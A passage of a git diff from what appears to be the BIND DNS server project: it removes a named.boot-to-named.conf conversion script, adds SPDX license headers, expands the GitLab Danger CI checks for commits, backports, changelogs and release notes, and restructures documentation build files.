-# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-# POSSIBILITY OF SUCH DAMAGE.
-
-if [ ${OPTIONFILE-X} = X ]; then
-	WORKDIR=/tmp/`date +%s`.$$
-	( umask 077 ; mkdir $WORKDIR ) || {
-		echo "unable to create work directory '$WORKDIR'" >&2 
-		exit 1
-	}
-	OPTIONFILE=$WORKDIR/options
-	ZONEFILE=$WORKDIR/zones
-	COMMENTFILE=$WORKDIR/comments
-	export OPTIONFILE ZONEFILE COMMENTFILE
-	touch $OPTIONFILE $ZONEFILE $COMMENTFILE
-	DUMP=1
-else
-	DUMP=0
-fi
-
-while read CMD ARGS; do
-	class=
-	CMD=`echo "${CMD}" | tr '[A-Z]' '[a-z]'`
-	case $CMD in
-	\; )
-		echo \# $ARGS >>$COMMENTFILE
-		;;
-	cache )
-		set - X $ARGS
-		shift
-		if [ $# -eq 2 ]; then
-			(echo ""
-			cat $COMMENTFILE
-			echo "zone \"$1\" {"
-			echo "	type hint;"
-			echo "	file \"$2\";"
-			echo "};") >>$ZONEFILE
-			rm -f $COMMENTFILE
-			touch $COMMENTFILE
-		fi
-		;;
-	directory )
-		set - X $ARGS
-		shift
-		if [ $# -eq 1 ]; then
-			(cat $COMMENTFILE
-			echo "	directory \"$1\";") >>$OPTIONFILE
-			rm -f $COMMENTFILE
-			touch $COMMENTFILE
-
-			DIRECTORY=$1
-			export DIRECTORY
-		fi
-		;;
-	forwarders )
-		(cat $COMMENTFILE
-		echo "	forwarders {"
-		for ARG in $ARGS; do
-			echo "		$ARG;"
-		done
-		echo "	};") >>$OPTIONFILE
-		rm -f $COMMENTFILE
-		touch $COMMENTFILE
-		;;
-	include )
-		if [ "$ARGS" != "" ]; then
-			(cd ${DIRECTORY-.}; cat $ARGS) | $0
-		fi
-		;;
-	limit )
-		ARGS=`echo "${ARGS}" | tr '[A-Z]' '[a-z]'`
-		set - X $ARGS
-		shift
-		if [ $# -eq 2 ]; then
-			cat $COMMENTFILE >>$OPTIONFILE
-			case $1 in
-			datasize | files | transfers-in | transfers-per-ns )
-				echo "	$1 $2;" >>$OPTIONFILE
-				;;
-			esac
-			rm -f $COMMENTFILE
-			touch $COMMENTFILE
-		fi
-		;;
-	options )
-		ARGS=`echo "${ARGS}" | tr '[A-Z]' '[a-z]'`
-		cat $COMMENTFILE >>$OPTIONFILE
-		for ARG in $ARGS; do
-			case $ARG in
-			fake-iquery )
-				echo "	fake-iquery yes;" >>$OPTIONFILE
-				;;
-			forward-only )
-				echo "	forward only;" >>$OPTIONFILE
-				;;
-			no-fetch-glue )
-				echo "	fetch-glue no;" >>$OPTIONFILE
-				;;
-			no-recursion )
-				echo "	recursion no;" >>$OPTIONFILE
-				;;
-			esac
-		done
-		rm -f $COMMENTFILE
-		touch $COMMENTFILE
-		;;
-	primary|primary/* )
-		case $CMD in
-		primary/chaos )
-			class="chaos "
-			;;
-		primary/hs )
-			class="hesiod "
-			;;
-		esac
-		set - X $ARGS
-		shift
-		if [ $# -eq 2 ]; then
-			(echo ""
-			cat $COMMENTFILE
-			echo "zone \"$1\" ${class}{"
-			echo "	type master;"
-			echo "	file \"$2\";"
-			echo "};") >>$ZONEFILE
-			rm -f $COMMENTFILE
-			touch $COMMENTFILE
-		fi
-		;;
-	secondary|secondary/* )
-		case $CMD in
-		secondary/chaos )
-			class="chaos "
-			;;
-		secondary/hs )
-			class="hesiod "
-			;;
-		esac
-		set - X $ARGS
-		shift
-		if [ $# -gt 2 ]; then
-			ZONE=$1
-			shift
-			PRIMARIES=$1
-			while [ $# -gt 2 ]; do
-				shift
-				PRIMARIES="$PRIMARIES $1"
-			done
-			(echo ""
-			cat $COMMENTFILE
-			echo "zone \"$ZONE\" ${class}{"
-			echo "	type slave;"
-			echo "	file \"$2\";"
-			echo "	masters {"
-			for PRIMARY in $PRIMARIES; do
-				echo "		$PRIMARY;"
-			done
-			echo "	};"
-			echo "};") >>$ZONEFILE
-			rm -f $COMMENTFILE
-			touch $COMMENTFILE
-		fi
-		;;
-	stub|stub/* )
-		case $CMD in
-		stub/chaos )
-			class="chaos "
-			;;
-		stub/hs )
-			class="hesiod "
-			;;
-		esac
-		set - X $ARGS
-		shift
-		if [ $# -gt 2 ]; then
-			ZONE=$1
-			shift
-			PRIMARIES=$1
-			while [ $# -gt 2 ]; do
-				shift
-				PRIMARIES="$PRIMARIES $1"
-			done
-			(echo ""
-			cat $COMMENTFILE
-			echo "zone \"$ZONE\" ${class}{"
-			echo "	type stub;"
-			echo "	file \"$2\";"
-			echo "	masters {"
-			for PRIMARY in $PRIMARIES; do
-				echo "		$PRIMARY;"
-			done
-			echo "	};"
-			echo "};") >>$ZONEFILE
-			rm -f $COMMENTFILE
-			touch $COMMENTFILE
-		fi
-		;;
-	slave )
-		cat $COMMENTFILE >>$OPTIONFILE
-		echo "	forward only;" >>$OPTIONFILE
-		rm -f $COMMENTFILE
-		touch $COMMENTFILE
-		;;
-	sortlist )
-		(cat $COMMENTFILE
-		echo "	topology {"
-		for ARG in $ARGS; do
-			case $ARG in
-			*.0.0.0 )
-				echo "		$ARG/8;"
-				;;
-			*.0.0 )
-				echo "		$ARG/16;"
-				;;
-			*.0 )
-				echo "		$ARG/24;"
-				;;
-			* )
-				echo "		$ARG;"
-				;;
-			esac
-		done
-		echo "	};") >>$OPTIONFILE
-		rm -f $COMMENTFILE
-		touch $COMMENTFILE
-		;;
-	tcplist | xfrnets )
-		(cat $COMMENTFILE
-		echo "	allow-transfer {"
-		for ARG in $ARGS; do
-			case $ARG in
-			*.0.0.0 )
-				echo "		$ARG/8;"
-				;;
-			*.0.0 )
-				echo "		$ARG/16;"
-				;;
-			*.0 )
-				echo "		$ARG/24;"
-				;;
-			* )
-				echo "		$ARG;"
-				;;
-			esac
-		done
-		echo "	};") >>$OPTIONFILE
-		rm -f $COMMENTFILE
-		touch $COMMENTFILE
-		;;
-	esac
-done
-
-if [ $DUMP -eq 1 ]; then
-	echo ""
-	echo "options {"
-	cat $OPTIONFILE
-	echo "};"
-	cat $ZONEFILE $COMMENTFILE
-
-	rm -f $OPTIONFILE $ZONEFILE $COMMENTFILE
-	rmdir $WORKDIR
-fi
-
-exit 0
diff --git a/contrib/scripts/nanny.pl b/contrib/scripts/nanny.pl
index 380b871167..02e7ed1636 100644
--- a/contrib/scripts/nanny.pl
+++ b/contrib/scripts/nanny.pl
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/contrib/scripts/zone-edit.sh.in b/contrib/scripts/zone-edit.sh.in
index 8eb1408229..2596ef8d18 100644
--- a/contrib/scripts/zone-edit.sh.in
+++ b/contrib/scripts/zone-edit.sh.in
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -70,8 +72,8 @@ then
         then
 	    if ${checkzone} -q -D "$zone" ${dir}/new > ${dir}/nnn
 	    then
-	        sort ${dir}/ooo > ${dir}/s1 
-	        sort ${dir}/nnn > ${dir}/s2 
+	        sort ${dir}/ooo > ${dir}/s1
+	        sort ${dir}/nnn > ${dir}/s2
 	        comm -23 ${dir}/s1 ${dir}/s2 |
 		sed 's/^/update delete /' > ${dir}/ccc
 	        comm -13 ${dir}/s1 ${dir}/s2 |
@@ -109,7 +111,7 @@ then
 		    done
 		else
 		    while :
-		    do 
+		    do
 		        echo ${echo_arg} "Abort (a), Redo (r), Modify (m) : $bsc"
 		        read ans
 		        case "$ans" in
@@ -128,7 +130,7 @@ then
 	        fi
 	    else
 		while :
-		do 
+		do
 		    echo ${echo_arg} "Abort (a), Redo (r), Modify (m) : $bsc"
 		    read ans
 		    case "$ans" in
diff --git a/dangerfile.py b/dangerfile.py
index 1507da12b2..41cecb079a 100644
--- a/dangerfile.py
+++ b/dangerfile.py
@@ -1,6 +1,8 @@
 ############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,32 +11,50 @@
 # information regarding copyright ownership.
 ############################################################################
 
+import os
 import re
 
+import gitlab
+
 # Helper functions and variables
 
+
 def added_lines(target_branch, paths):
     import subprocess
-    subprocess.check_output(['/usr/bin/git', 'fetch', '--depth', '1', 'origin',
-                             target_branch])
-    diff = subprocess.check_output(['/usr/bin/git', 'diff', 'FETCH_HEAD..',
-                                    '--'] + paths)
+
+    subprocess.check_output(
+        ["/usr/bin/git", "fetch", "--depth", "1", "origin", target_branch]
+    )
+    diff = subprocess.check_output(
+        ["/usr/bin/git", "diff", "FETCH_HEAD..", "--"] + paths
+    )
     added_lines = []
     for line in diff.splitlines():
-        if line.startswith(b'+') and not line.startswith(b'+++'):
+        if line.startswith(b"+") and not line.startswith(b"+++"):
             added_lines.append(line)
     return added_lines
 
+
 def lines_containing(lines, string):
-    return [l for l in lines if bytes(string, 'utf-8') in l]
+    return [l for l in lines if bytes(string, "utf-8") in l]
 
-changes_issue_or_mr_id_regex = re.compile(br'\[(GL [#!]|RT #)[0-9]+\]')
-relnotes_issue_or_mr_id_regex = re.compile(br':gl:`[#!][0-9]+`')
-release_notes_regex = re.compile(r'doc/(arm|notes)/notes-.*\.(rst|xml)')
+
+changes_issue_or_mr_id_regex = re.compile(rb"\[(GL [#!]|RT #)[0-9]+\]")
+relnotes_issue_or_mr_id_regex = re.compile(rb":gl:`[#!][0-9]+`")
+release_notes_regex = re.compile(r"doc/(arm|notes)/notes-.*\.(rst|xml)")
 
 modified_files = danger.git.modified_files
 mr_labels = danger.gitlab.mr.labels
 target_branch = danger.gitlab.mr.target_branch
+is_backport = "Backport" in mr_labels or "Backport::Partial" in mr_labels
+is_full_backport = is_backport and "Backport::Partial" not in mr_labels
+
+gl = gitlab.Gitlab(
+    url=f"https://{os.environ['CI_SERVER_HOST']}",
+    private_token=os.environ["DANGER_GITLAB_API_TOKEN"],
+)
+proj = gl.projects.get(os.environ["CI_PROJECT_ID"])
+mr = proj.mergerequests.get(os.environ["CI_MERGE_REQUEST_IID"])
 
 ###############################################################################
 # COMMIT MESSAGES
@@ -42,7 +62,10 @@ def lines_containing(lines, string):
 #
 # - FAIL if any of the following is true for any commit on the MR branch:
 #
-#     * The subject line starts with "fixup!" or "Apply suggestion".
+#     * The subject line starts with "fixup!", "amend!" or "Apply suggestion".
+#
+#     * The subject line starts with a prohibited word indicating a work in
+#       progress commit (e.g. "WIP").
 #
 #     * The subject line contains a trailing dot.
 #
@@ -69,37 +92,55 @@ def lines_containing(lines, string):
 #           "[2]", etc.) which allows e.g. long URLs to be included in the
 #           commit log message.
 
+PROHIBITED_WORDS_RE = re.compile(
+    "^(WIP|wip|DROP|drop|DROPME|checkpoint|experiment|TODO|todo)[^a-zA-Z]"
+)
 fixup_error_logged = False
 for commit in danger.git.commits:
     message_lines = commit.message.splitlines()
     subject = message_lines[0]
-    if (not fixup_error_logged and
-            (subject.startswith('fixup!') or
-             subject.startswith('Apply suggestion'))):
-        fail('Fixup commits are still present in this merge request. '
-             'Please squash them before merging.')
+    if not fixup_error_logged and (
+        subject.startswith("fixup!")
+        or subject.startswith("amend!")
+        or subject.startswith("Apply suggestion")
+    ):
+        fail(
+            "Fixup commits are still present in this merge request. "
+            "Please squash them before merging."
+        )
         fixup_error_logged = True
-    if len(subject) > 72 and not subject.startswith('Merge branch '):
+    match = PROHIBITED_WORDS_RE.search(subject)
+    if match:
+        fail(
+            f"Prohibited keyword `{match.groups()[0]}` detected "
+            f"at the start of a subject line in commit {commit.sha}."
+        )
+    if len(subject) > 72 and not subject.startswith("Merge branch "):
         warn(
-            f'Subject line for commit {commit.sha} is too long: '
-            f'```{subject}``` ({len(subject)} > 72 characters).'
+            f"Subject line for commit {commit.sha} is too long: "
+            f"```{subject}``` ({len(subject)} > 72 characters)."
         )
-    if subject[-1] == '.':
-        fail(f'Trailing dot found in the subject of commit {commit.sha}.')
+    if subject[-1] == ".":
+        fail(f"Trailing dot found in the subject of commit {commit.sha}.")
     if len(message_lines) > 1 and message_lines[1]:
-        fail(f'No empty line after subject for commit {commit.sha}.')
-    if (len(message_lines) < 3 and
-            'fixup! ' not in subject and
-            ' CHANGES ' not in subject and
-            ' release note' not in subject):
-        warn(f'Please write a log message for commit {commit.sha}.')
+        fail(f"No empty line after subject for commit {commit.sha}.")
+    if (
+        len(message_lines) < 3
+        and "fixup! " not in subject
+        and "CHANGES " not in subject
+        and "release note" not in subject.lower()
+        and "GL #" not in subject
+    ):
+        warn(f"Please write a log message for commit {commit.sha}.")
     for line in message_lines[2:]:
-        if (len(line) > 72 and
-                not line.startswith('    ') and
-                not re.match(r'\[[0-9]+\]', line)):
+        if (
+            len(line) > 72
+            and not line.startswith("    ")
+            and not re.match(r"\[[0-9]+\]", line)
+        ):
             warn(
-                f'Line too long in log message for commit {commit.sha}: '
-                f'```{line}``` ({len(line)} > 72 characters).'
+                f"Line too long in log message for commit {commit.sha}: "
+                f"```{line}``` ({len(line)} > 72 characters)."
             )
 
 ###############################################################################
@@ -109,33 +150,100 @@ def lines_containing(lines, string):
 # FAIL if the merge request is not assigned to any milestone.
 
 if not danger.gitlab.mr.milestone:
-    fail('Please assign this merge request to a milestone.')
+    fail("Please assign this merge request to a milestone.")
 
 ###############################################################################
-# VERSION LABELS
+# BACKPORT & VERSION LABELS
 ###############################################################################
 #
 # FAIL if any of the following is true for the merge request:
 #
-# * The "Backport" label is set and the number of version labels set is
+# * The MR is marked as Backport and the number of version labels set is
 #   different than 1.  (For backports, the version label is used for indicating
 #   its target branch.  This is a rather ugly attempt to address a UI
 #   deficiency - the target branch for each MR is not visible on milestone
 #   dashboards.)
 #
-# * Neither the "Backport" label nor any version label is set.  (If the merge
-#   request is not a backport, version labels are used for indicating
+# * The MR is not marked as "Backport" nor any version label is set.  (If the
+#   merge request is not a backport, version labels are used for indicating
 #   backporting preferences.)
+#
+# * The Backport MR doesn't have target branch in the merge request title.
+#
+# * The Backport MR doesn't link to the original MR is its description.
+#
+# * The original MR linked to from Backport MR hasn't been merged.
 
-backport_label_set = 'Backport' in mr_labels
-version_labels = [l for l in mr_labels if l.startswith('v9.')]
-if backport_label_set and len(version_labels) != 1:
-    fail('The *Backport* label is set for this merge request. '
-         'Please also set exactly one version label (*v9.x*).')
-if not backport_label_set and not version_labels:
-    fail('If this merge request is a backport, set the *Backport* label and '
-         'a single version label (*v9.x*) indicating the target branch. '
-         'If not, set version labels for all targeted backport branches.')
+BACKPORT_OF_RE = re.compile(
+    r"Backport\s+of.*(merge_requests/|!)([0-9]+)", flags=re.IGNORECASE
+)
+VERSION_LABEL_RE = re.compile(r"v9.([0-9]+)(-S)?")
+backport_desc = BACKPORT_OF_RE.search(danger.gitlab.mr.description)
+version_labels = [l for l in mr_labels if l.startswith("v9.")]
+affects_labels = [l for l in mr_labels if l.startswith("Affects v9.")]
+if is_backport:
+    if len(version_labels) != 1:
+        fail(
+            "This MR was marked as *Backport*. "
+            "Please also set exactly one version label (*v9.x*)."
+        )
+    else:
+        minor_ver, edition = VERSION_LABEL_RE.search(version_labels[0]).groups()
+        edition = "" if edition is None else edition
+        title_re = f"^\\[9.{minor_ver}{edition}\\]"
+        match = re.search(title_re, danger.gitlab.mr.title)
+        if match is None:
+            fail(
+                "Backport MRs must have their target version in the title. "
+                f"Please put `[9.{minor_ver}{edition}]` at the start of the MR title."
+            )
+    if backport_desc is None:
+        fail(
+            "Backport MRs must link to the original MR. Please put "
+            "`Backport of MR !XXXX` in the MR description."
+        )
+    else:  # backport MR is linked to original MR
+        original_mr_id = backport_desc.groups()[1]
+        original_mr = proj.mergerequests.get(original_mr_id)
+        if original_mr.state != "merged":
+            fail(
+                f"Original MR !{original_mr_id} has not been merged. "
+                "Please re-run `danger` check once it's merged."
+            )
+        else:  # check for commit IDs once original MR is merged
+            original_mr_commits = list(original_mr.commits(all=True))
+            backport_mr_commits = list(mr.commits(all=True))
+            for orig_commit in original_mr_commits:
+                for backport_commit in backport_mr_commits:
+                    if orig_commit.id in backport_commit.message:
+                        break
+                else:
+                    msg = (
+                        f"Commit {orig_commit.id} from original MR !{original_mr_id} "
+                        "is not referenced in any of the backport commits."
+                    )
+                    if not is_full_backport:
+                        message(msg)
+                    else:
+                        msg += (
+                            " Please use `-x` when cherry-picking to include "
+                            "the full original commit ID. Alternately, use the "
+                            "`Backport::Partial` label if not all original "
+                            "commits are meant to be backported."
+                        )
+                        fail(msg)
+else:
+    if not version_labels:
+        fail(
+            "If this merge request is a backport, set the *Backport* label and "
+            "a single version label (*v9.x*) indicating the target branch. "
+            "If not, set version labels for all targeted backport branches."
+        )
+    if not affects_labels:
+        warn(
+            "Set `Affects v9.` label(s) for all versions that are affected by "
+            "the issue which this MR addresses."
+        )
 
 ###############################################################################
 # OTHER LABELS
@@ -149,12 +257,17 @@ def lines_containing(lines, string):
 #   remind developers about the need to set the latter on merge requests which
 #   passed review.)
 
-if 'Review' not in mr_labels:
-    warn('This merge request does not have the *Review* label set. '
-         'Please set it if you would like the merge request to be reviewed.')
-elif 'LGTM (Merge OK)' not in mr_labels:
-    warn('This merge request is currently in review. '
-         'It should not be merged until it is marked with the *LGTM* label.')
+approved = mr.approvals.get().approved
+if "Review" not in mr_labels:
+    warn(
+        "This merge request does not have the *Review* label set. "
+        "Please set it if you would like the merge request to be reviewed."
+    )
+elif not approved:
+    warn(
+        "This merge request is currently in review. "
+        "It should not be merged until it is approved."
+    )
 
 ###############################################################################
 # 'CHANGES' FILE
@@ -176,25 +289,31 @@ def lines_containing(lines, string):
 # * The merge request adds a new CHANGES entry that is not a placeholder and
 #   does not contain any GitLab/RT issue/MR identifiers.
 
-changes_modified = 'CHANGES' in modified_files
-no_changes_label_set = 'No CHANGES' in mr_labels
+changes_modified = "CHANGES" in modified_files or "CHANGES.SE" in modified_files
+no_changes_label_set = "No CHANGES" in mr_labels
 if not changes_modified and not no_changes_label_set:
-    fail('This merge request does not modify `CHANGES`. '
-         'Add a `CHANGES` entry or set the *No CHANGES* label.')
+    fail(
+        "This merge request does not modify `CHANGES`. "
+        "Add a `CHANGES` entry or set the *No CHANGES* label."
+    )
 if changes_modified and no_changes_label_set:
-    fail('This merge request modifies `CHANGES`. '
-         'Revert `CHANGES` modifications or unset the *No Changes* label.')
+    fail(
+        "This merge request modifies `CHANGES`. "
+        "Revert `CHANGES` modifications or unset the *No Changes* label."
+    )
 
-changes_added_lines = added_lines(target_branch, ['CHANGES'])
-placeholders_added = lines_containing(changes_added_lines, '[placeholder]')
+changes_added_lines = added_lines(target_branch, ["CHANGES", "CHANGES.SE"])
+placeholders_added = lines_containing(changes_added_lines, "[placeholder]")
 identifiers_found = filter(changes_issue_or_mr_id_regex.search, changes_added_lines)
 if changes_added_lines:
     if placeholders_added:
-        if target_branch != 'main':
-            fail('This MR adds at least one placeholder entry to `CHANGES`. '
-                 'It should be targeting the `main` branch.')
+        if target_branch != "main":
+            fail(
+                "This MR adds at least one placeholder entry to `CHANGES`. "
+                "It should be targeting the `main` branch."
+            )
     elif not any(identifiers_found):
-        fail('No valid issue/MR identifiers found in added `CHANGES` entries.')
+        fail("No valid issue/MR identifiers found in added `CHANGES` entries.")
 
 ###############################################################################
 # RELEASE NOTES
@@ -219,25 +338,31 @@ def lines_containing(lines, string):
 #       identifiers are found in the lines added to the release notes by this
 #       MR.
 
-release_notes_regex = re.compile(r'doc/(arm|notes)/notes-.*\.(rst|xml)')
+release_notes_regex = re.compile(r"doc/(arm|notes)/notes-.*\.(rst|xml)")
 release_notes_changed = list(filter(release_notes_regex.match, modified_files))
-release_notes_label_set = 'Release Notes' in mr_labels
+release_notes_label_set = "Release Notes" in mr_labels
 if not release_notes_changed:
     if release_notes_label_set:
-        fail('This merge request has the *Release Notes* label set. '
-             'Add a release note or unset the *Release Notes* label.')
-    elif 'Customer' in mr_labels:
-        warn('This merge request has the *Customer* label set. '
-             'Add a release note unless the changes introduced are trivial.')
+        fail(
+            "This merge request has the *Release Notes* label set. "
+            "Add a release note or unset the *Release Notes* label."
+        )
+    elif "Customer" in mr_labels:
+        warn(
+            "This merge request has the *Customer* label set. "
+            "Add a release note unless the changes introduced are trivial."
+        )
 if release_notes_changed and not release_notes_label_set:
-    fail('This merge request modifies release notes. '
-         'Revert release note modifications or set the *Release Notes* label.')
+    fail(
+        "This merge request modifies release notes. "
+        "Revert release note modifications or set the *Release Notes* label."
+    )
 
 if release_notes_changed:
     notes_added_lines = added_lines(target_branch, release_notes_changed)
     identifiers_found = filter(relnotes_issue_or_mr_id_regex.search, notes_added_lines)
     if notes_added_lines and not any(identifiers_found):
-        warn('No valid issue/MR identifiers found in added release notes.')
+        warn("No valid issue/MR identifiers found in added release notes.")
 else:
     notes_added_lines = []
 
@@ -249,13 +374,17 @@ def lines_containing(lines, string):
 # identifier is missing from either the added CHANGES entry or the added
 # release note.
 
-if lines_containing(changes_added_lines, '[security]'):
-    if not lines_containing(changes_added_lines, '(CVE-20'):
-        fail('This merge request fixes a security issue. '
-             'Please add a CHANGES entry which includes a CVE identifier.')
-    if not lines_containing(notes_added_lines, 'CVE-20'):
-        fail('This merge request fixes a security issue. '
-             'Please add a release note which includes a CVE identifier.')
+if lines_containing(changes_added_lines, "[security]"):
+    if not lines_containing(changes_added_lines, "(CVE-20"):
+        fail(
+            "This merge request fixes a security issue. "
+            "Please add a CHANGES entry which includes a CVE identifier."
+        )
+    if not lines_containing(notes_added_lines, "CVE-20"):
+        fail(
+            "This merge request fixes a security issue. "
+            "Please add a release note which includes a CVE identifier."
+        )
 
 ###############################################################################
 # PAIRWISE TESTING
@@ -264,10 +393,44 @@ def lines_containing(lines, string):
 # FAIL if the merge request adds any new ./configure switch without an
 # associated annotation used for pairwise testing.
 
-configure_added_lines = added_lines(target_branch, ['configure.ac'])
-switches_added = (lines_containing(configure_added_lines, 'AC_ARG_ENABLE') +
-                  lines_containing(configure_added_lines, 'AC_ARG_WITH'))
-annotations_added = lines_containing(configure_added_lines, '# [pairwise: ')
-if len(switches_added) > len(annotations_added):
-    fail('This merge request adds at least one new `./configure` switch that '
-         'is not annotated for pairwise testing purposes.')
+configure_added_lines = added_lines(target_branch, ["configure.ac"])
+switches_added = lines_containing(
+    configure_added_lines, "AC_ARG_ENABLE"
+) + lines_containing(configure_added_lines, "AC_ARG_WITH")
+annotations_added = lines_containing(configure_added_lines, "# [pairwise: ")
+if switches_added:
+    if len(switches_added) > len(annotations_added):
+        fail(
+            "This merge request adds at least one new `./configure` switch that "
+            "is not annotated for pairwise testing purposes."
+        )
+    else:
+        message(
+            "**Before merging**, please start a full CI pipeline for this "
+            "branch with the `PAIRWISE_TESTING` variable set to any "
+            "non-empty value (e.g. `1`). This will cause the `pairwise` "
+            "job to exercise the new `./configure` switches."
+        )
+
+###############################################################################
+# USER-VISIBLE LOG LEVELS
+###############################################################################
+#
+# WARN if the merge request adds new user-visible log messages (INFO or above)
+
+user_visible_log_levels = [
+    "ISC_LOG_INFO",
+    "ISC_LOG_NOTICE",
+    "ISC_LOG_WARNING",
+    "ISC_LOG_ERROR",
+    "ISC_LOG_CRITICAL",
+]
+source_added_lines = added_lines(target_branch, ["*.[ch]"])
+for log_level in user_visible_log_levels:
+    if lines_containing(source_added_lines, log_level):
+        warn(
+            "This merge request adds new user-visible log messages with "
+            "level INFO or above. Please double-check log levels and make "
+            "sure none of the messages added is a leftover debug message."
+        )
+        break
diff --git a/doc/Makefile.am b/doc/Makefile.am
index 34884c6153..0560c8e099 100644
--- a/doc/Makefile.am
+++ b/doc/Makefile.am
@@ -6,7 +6,9 @@ endif
 
 # Do not change this line to "SUBDIRS = man" at the top of this file: in
 # maintainer mode, the "man" subdirectory depends on the "misc" subdirectory.
+if BUILD_MANPAGES
 SUBDIRS += man
+endif BUILD_MANPAGES
 
 if HAVE_SPHINX_BUILD
 SUBDIRS += arm
diff --git a/doc/arm/Makefile.am b/doc/arm/Makefile.am
index 31a06ebd29..5c53d56634 100644
--- a/doc/arm/Makefile.am
+++ b/doc/arm/Makefile.am
@@ -2,49 +2,81 @@ include $(top_srcdir)/Makefile.top
 include $(top_srcdir)/Makefile.docs
 
 EXTRA_DIST =					\
+	advanced.inc.rst			\
+	build.inc.rst				\
+	catz.inc.rst				\
+	chapter10.rst				\
+	chapter1.rst				\
+	chapter2.rst				\
+	chapter3.rst				\
+	chapter4.rst				\
+	chapter5.rst				\
+	chapter6.rst				\
+	chapter7.rst				\
+	chapter9.rst				\
+	config-auth.inc.rst			\
+	config-intro.inc.rst			\
+	config-resolve.inc.rst			\
 	conf.py					\
-	advanced.rst				\
-	catz.rst				\
-	configuration.rst			\
-	dlz.rst					\
+	dlz.inc.rst				\
+	dns-ops.inc.rst				\
 	dnssec-guide.rst			\
-	dnssec.rst				\
-	dyndb.rst				\
+	dnssec.inc.rst				\
+	dns-security-overview.dia		\
+	dns-security-overview.png		\
+	dns-servers.dia				\
+	dns-servers.png				\
+	dns-tree.dia				\
+	dns-tree.png				\
+	dyndb.inc.rst				\
 	general.rst				\
 	history.rst				\
 	index.rst				\
-	introduction.rst			\
-	logging-categories.rst			\
-	managed-keys.rst			\
+	intro-dns-bind.inc.rst			\
+	introduction.inc.rst			\
+	intro-security.inc.rst			\
+	isc-logo.pdf				\
+	logging-categories.inc.rst		\
+	managed-keys.inc.rst			\
 	manpages.rst				\
+	name-resolution.dia			\
+	name-resolution.png			\
 	notes.rst				\
-	pkcs11.rst				\
-	plugins.rst				\
+	pkcs11.inc.rst				\
+	platforms.inc.rst			\
+	plugins.inc.rst				\
+	primary-secondary.dia			\
+	primary-secondary.png			\
+	recursive-query.dia			\
+	recursive-query.png			\
 	reference.rst				\
-	requirements.rst			\
-	security.rst				\
-	troubleshooting.rst			\
+	requirements.inc.rst			\
+	requirements.txt			\
+	resolver-forward.dia			\
+	resolver-forward.png			\
+	rpz.inc.rst				\
+	security.inc.rst			\
+	sig0.inc.rst				\
+	troubleshooting.inc.rst			\
+	tsig.inc.rst				\
+	zones.inc.rst				\
+	_ext/iscconf.py				\
+	_ext/mergegrammar.py			\
+	_ext/namedconf.py			\
+	_ext/rndcconf.py			\
+	_static/custom.css			\
 	../dnssec-guide				\
-	../misc/acl.grammar.rst			\
-	../misc/controls.grammar.rst		\
-	../misc/delegation-only.zoneopt.rst	\
-	../misc/forward.zoneopt.rst		\
-	../misc/hint.zoneopt.rst		\
-	../misc/in-view.zoneopt.rst		\
-	../misc/key.grammar.rst			\
-	../misc/logging.grammar.rst		\
-	../misc/managed-keys.grammar.rst	\
-	../misc/master.zoneopt.rst		\
-	../misc/mirror.zoneopt.rst		\
-	../misc/options.grammar.rst		\
-	../misc/primaries.grammar.rst		\
-	../misc/redirect.zoneopt.rst		\
-	../misc/server.grammar.rst		\
-	../misc/slave.zoneopt.rst		\
-	../misc/static-stub.zoneopt.rst		\
-	../misc/statistics-channels.grammar.rst	\
-	../misc/stub.zoneopt.rst		\
-	../misc/trusted-keys.grammar.rst	\
+	../misc/options				\
+	../misc/rndc.grammar			\
+	../misc/forward.zoneopt			\
+	../misc/hint.zoneopt			\
+	../misc/in-view.zoneopt			\
+	../misc/mirror.zoneopt			\
+	../misc/primary.zoneopt			\
+	../misc/redirect.zoneopt		\
+	../misc/secondary.zoneopt		\
+	../misc/static-stub.zoneopt		\
+	../misc/stub.zoneopt			\
 	../notes/*.rst
 
 html-local:
@@ -64,7 +96,7 @@ install-singlehtml: singlehtml
 	cp -R $(SPHINXBUILDDIR)/singlehtml/_static/* $(DESTDIR)/$(docdir)/_static/
 
 epub:
-	$(AM_V_SPHINX)$(SPHINX_BUILD) -b epub -A today=$(RELEASE_DATE) -d $(SPHINXBUILDDIR)/.doctrees/epub $(ALLSPHINXOPTS) $(SPHINXBUILDDIR)/epub
+	$(AM_V_SPHINX)$(SPHINX_BUILD) -b epub -d $(SPHINXBUILDDIR)/.doctrees/epub $(ALLSPHINXOPTS) $(SPHINXBUILDDIR)/epub
 
 install-epub:
 	$(INSTALL) -d $(DESTDIR)/$(docdir)
diff --git a/doc/arm/_ext/iscconf.py b/doc/arm/_ext/iscconf.py
new file mode 100644
index 0000000000..b5bd966e2a
--- /dev/null
+++ b/doc/arm/_ext/iscconf.py
@@ -0,0 +1,605 @@
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+Sphinx domains for ISC configuration files.
+
+Use setup() to install new Sphinx domains for ISC configuration files.
+
+This extension is based on combination of two Sphinx extension tutorials:
+https://www.sphinx-doc.org/en/master/development/tutorials/todo.html
+https://www.sphinx-doc.org/en/master/development/tutorials/recipe.html
+"""
+
+from collections import namedtuple
+
+from docutils.parsers.rst import Directive, directives
+from docutils import nodes
+
+from sphinx import addnodes
+from sphinx.directives import ObjectDescription
+from sphinx.domains import Domain
